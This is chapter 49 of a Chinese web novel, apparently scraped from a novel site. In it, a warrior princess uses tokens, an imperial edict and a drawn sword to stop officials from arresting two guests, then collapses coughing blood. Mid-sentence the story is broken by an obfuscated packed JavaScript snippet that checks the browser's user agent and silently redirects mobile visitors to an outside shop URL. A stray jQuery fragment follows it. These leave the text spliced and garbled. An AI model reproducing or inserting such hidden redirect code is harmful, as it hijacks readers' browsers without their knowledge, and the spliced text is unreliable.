文趣网 > 其他小说 > 长公主她只想送人全家升天 > 49.第 49 章
    庭院中。

    一队身穿官服的官兵将公主府围了个水泄不通,从里到外都封锁得严严实实。

    为首的是大理寺寺卿谢将时,他脸上带着一丝冷峻,目光如刀般扫过众人。

    “大理寺拿人,陈家陈峤南,孔家孔明远,可在?”

    陈峤南和孔明远一听,刚想迈步向前。

    谁知,裴砚直接拦在了他们的面前,上前一步,满脸冷意地问道。

    “不知,这位大人有何贵干!”

    谢将时手里握着刀柄,眼神锐利地扫向裴砚身后的两人,对着裴砚不悦地问道。

    “你是何人?”

    裴砚嘴角微勾拿起怀中的令牌扔给对面的谢将时。

    “校尉-裴砚!”

    谢将时看着手里的令牌,不屑地把手中的令牌又重新扔了过去。

    “区区一个塞外校尉也敢阻拦大理寺拿人了!谁给你的胆子,难道你不知道塞外兵防人员无召不得回都!一起给我拿下!”

    裴砚挠了挠耳朵,又从怀里拿出了一个令牌,满脸歉意地说道。

    “不好意思,拿错了!”

    然后他又再次把手中的牌子扔给了谢将时。

    谢将时再次接过了扔过来的令牌,满脸不悦,拿着手中的令牌一看,狐疑。

    “镇国侯府?你是镇国侯府的人?”

    陈峤南和孔明远对视一眼,不禁看向了前方的裴砚。

    镇国侯府?他是那个没有后人传承破落侯府的人?

    裴砚看着谢将时手里的令牌还不好用,只好深叹了一口气,又从怀里拿出了一块玉佩扔给了谢将时。

    谢将时接过玉佩一看,脸色顿时一变。

    “裴府,你是裴府的人?!”

    这回不止谢将时脸色变了,连跟在裴砚身后的陈峤南和孔明远都不禁脸色一变。

    他竟然是裴府的人!

    书香门第的裴府怎么会教导出这样出身行伍,举止行为丝毫没有礼法的混不吝!

    裴砚不耐烦地咬了咬后槽牙。

    这自己的,老爹的,老娘的,统统不好用了。

    沈长风在信中指名道姓留下的这两个人就是麻烦!

    自己还要给沈长风擦屁股!烦死了!

    裴砚对着身后的陈峤南和孔明远无奈一笑,耸了耸肩。

    “没办法了,我的,老爹的,老娘的,我统统都用了,人家谢大人不畏强权啊!看来,一会只能开打了,你们记得找地方躲好,别误伤了自家人啊!”

    陈峤南和孔明远没有想到,前一秒还在饭桌上对着他们冷嘲热讽的裴砚,现在竟在这一秒为了他们与大理寺的人拼死一搏了。

    陈峤南闷声地说道:“要不,算了吧,你的好意我心领了。”

    孔明远也在一旁应和:“是,我们不该牵连公主府。”

    裴砚一脸不耐烦地望着身后的两个人,挠了挠耳朵,骂道。

    “要不说,还是沈长风会找麻烦呢,你们以为我爱管你们的破事啊,还不是沈长风写信让我关照你们两个。我才懒得理你们呢!麻烦!”

    冬至见三人又要当众争吵起来,直接缩头缩脑地从怀中又拿出一块金牌,递到了裴砚的手中。

    “军师,你的那些如果不够分量,你看,这个金的够不够分量!”

    裴砚望着冬至手里金灿灿的金牌,不禁咂舌了一声,埋怨道。

    “有这好东西,你不趁早拿出来!”

    说着,他张口便对着金牌一咬,眉眼一挑,兴奋地对着冬至说。

    “唉,金的呀,纯金的,老值钱了。”

    冬至也跟着傻呵呵地一笑,赞同道。

    “嘿嘿,可不是嘛,公主这刚从宫里拿出来的时候,我就咬了一口,确实是纯金的,没错!”

    谢将时:这是有多少存货啊?唉,你们俩有没有人,把我们大理寺的人当回事啊!

    谢将时看着面前的不正经的几个人,脸不由地一黑。

    陈峤南和孔明远看着面前鼓鼓秋秋,两个脑袋凑到一起的人,又看了看正前方包公脸的谢将时,不禁拍了拍两个人的肩膀,好心提醒着。

    “谢大人的脸都黑了。”

    裴砚不耐烦地拍开了肩膀上的手。

    “催什么催,赶着投胎啊!”

    说着,他把手中的金牌一扔,直接甩到了谢将时的面前,厉声道。

    “谢大人,这个够分量吗!”

    “如若,如若,这个还不够分量......”我也没辙了,只能开打了。

    裴砚的话还没说完,人未到,声先至。

    庭廊里传来一道清冷淡漠的声音。

    “如果金牌还不好使,再加上这道圣旨呢!”

    语气中带着居于高位,皇室中人独有的威压。

    只见沈长风一身淡青色长袍,发丝凌乱,面色苍白地走了过来。

    谢将时见状,不禁眼神微眯。

    他看着面前与太子七分相似的面孔,心中震荡,面上有些微微动容,说着便对着沈长风恭恭敬敬地行了一个礼。

    “微臣参见公主!”

    后面众人见谢将时弯腰行礼,立马也跟着乌泱泱地行起了礼,连续不断地回道。

    “参见公主!”

    冬至见状立刻红了眼眶,连忙上前扶起了沈长风的胳膊,欣喜哽咽。

    “公主,您醒了!”

    沈长风看着她眼角的泪痕,伸手抹了抹,温柔一笑。

    “嗯。”然后默不作声地又对着王叔点了一下头。

    王叔做派十足把手里的圣旨递给谢将时。

    沈长风轻咳一声,她抬眼看了一眼陈峤南和孔明远,施压道。

    “不知,谢大人这份圣旨的重量可够我留下亭林与子安。”

    谢将时皱着眉看着手里的圣旨,紧蹙着眉头。

    荒唐,圣上怎么会给公主留这样的圣旨。

    这简直是伤风败俗,有违伦理纲常!

    “这圣旨......”

    谢将时还想说些什么,还没等他开口。

    沈长风低垂着的眼眸,突然迸发出一股冷意,抬手拿起裴砚手中的佩剑,瞬间利剑出鞘,直指谢将时。

    “谢大人,你这是什么意思?莫非,你是在怀疑这道圣旨的真假,还是想违抗这道圣旨不成?

    还是说,本公主多年未回皇都,你们竟忘了三年前我离开皇都时的盛景,忘了我是如何将整个刑部掀了个底朝天的!还是你们大理寺如今也想要尝尝这丢脸的滋味!

    谢大人,别忘了,我可不是皇都城中饮着花露,娇养长大的公主。你应当知道,我的手沾染过鲜血,我的眼见过生死。

    想当年,太子殿下还在的时候,我得势时,他尚且都要对我避让三分,不敢轻易招惹我。

    本公主争过权,斗过势,今天我能站在这里,除了公主的名头。

    我亦是拿着真枪在战场上厮杀战功的正三品将军,也是公主中第一个因为赫赫战功封为定安王的人。

    即使没有这公主的名头,我的地位也在你之上。与你本是同僚,拥有跟你一样的上朝参政觐见的权利。

    按道理,本王的官位比你还要大一级,你见我可也要称一声“大人”或者“王爷”。

    如今,你们竟敢在我面前如此放肆,难道真以为我沈长风是好欺负不成!还是皇都城里的人,如今忘了还有我沈长风这个人的存在!”

    谢将时看着脖子上的利剑,咬了咬后槽牙,低下头,气势先弱了三分。

    “公主息怒,是下官的过失!”

    沈长风扬手动作利落地收起了横在他脖颈之间的剑,轻声说道。

    “那就滚吧!”眼神间带着势如破竹的锐利。

    谢将时最后眼神复杂地看了一眼沈长风,匆匆行了一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752174|205408||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    礼,带着人,灰溜溜地走出了公主府的大门。

    直到一众人影彻底消失不见,在府门口再也看不到身影。

    沈长风这才松了一口气,“砰-”地一声,利剑跌落在地,这才卸下来刚刚一直强撑着的力气,不由吐出了一口血。

    裴砚立马接住了她跌落的身影,直接背起她直奔卧房,一边跑着,一边对着身边不断小跑着的林楚楚问道。

    “你给她施针强制唤醒的?”

    林楚楚跟在他的身边,满脸焦急地回道。

    “嗯,我看你叮了咣啷扔了一堆牌子也没用,眼看着压不住谢将时了,我就给她施针强制唤醒了。”

    裴砚满脸焦急地把她放到了床上,对着林楚楚说道。

    “我要给她施针,你在一旁协助我,其他人都给我退出去,省得影响我!”

    陈峤南和孔明远急忙退出了卧房。

    两人坐在廊下看着面前紧闭的大门,王叔在一旁对着陈峤南宽慰道。

    “亭林少爷,不用担心,放心,公主吉人自有天相,不会有事的。”

    陈峤南低垂着头,脑海里闪过刚刚青石板上的那一滩鲜血。

    那滩血如同一幅挥之不去的画面,久久不散。

    他沉默不语,没有回话。

    冬至看着同样对着神态萎靡的孔明远,忙着开解道。

    “二爷,别忘了公主说过,您可是我们公主府的第一贵客,公主肯定会护着您的!有军师和楚楚小姐在,公主肯定不会有事的!”

    孔明远没有想到今日的沈长风真的一心想要护住自己。

    他看了一眼紧闭的木门,抬手对着阿财喊道。

    “阿财,回房!”说着直接起身朝着庭院外走去。

    孔明远直到回到房间才吐了一口气。

    他转头拿起了书案旁的纸张动笔写了起来,没一会儿,他就把写好信递到了阿财的手里。

    “去,送到三婶的手中,记得要快,让他们收到信后,即刻出城一刻都不要耽误!”

    然后又对着阿财仔细吩咐道:“记得送信的途中别忘了甩掉眼线,送完信后,你跟他们一起离开,不用再回公主府了。

    至于去处,凭借着你我的默契,你应该知道要去哪里。

    记得要去的地方不要跟任何人透露,包括书亦与三婶,到了地方以后,最多一个月我们自会相见。”

    阿财听到后,满脸担忧地看着孔明远身上的箭伤,语气里藏着浓浓的担忧。

    “二爷,可是您这身上的伤?公主虽然一时护住了您,可是您在公主府孤立无援,身边也没个体己人,要是出点什么事,可怎么办啊!”

    孔明远嘴角勾起一抹苦涩的微笑,宽慰道。

    “公主能护下我,一定是在信中与祖父达成了什么交易,既然是交易,公主肯定不会轻易地就把我交出去。

    更何况,对于大理寺那边我属于戴罪立功,他们不会伤我性命。

    现在真正想要我死的,无非就是那些贪图孔家万贯家财的人,你们一旦离开皇都,我自然在皇都也就没有了掣肘,一个人离开公主府也方便许多,这回你懂了吗?”

    “可是,二爷,万一公主说话不算话,万一变卦了怎么办?那您岂不是就陷入危险之中了?

    毕竟,您现在手无缚鸡之力,又怀揣孔家的珍宝家财,富贵迷人眼。万一公主动了杀心想要杀了您,贪心孔家家财怎么办?”

    孔明远望着窗前阳光下的兰花,自言自语。

    “不会的,我信她,信她不会伤我。我身上一定有她所图的东西,否则,这位公主绝不会如此费时费力地保下我!”

    都说经商之人重利重算计,在他看来,这位公主不遑多让!

    也许,从他踏入公主府的那一刻起,身上所发生的一切,便皆在她的算计之中!

    他倒是有些好奇,这位公主所图的是什么了?!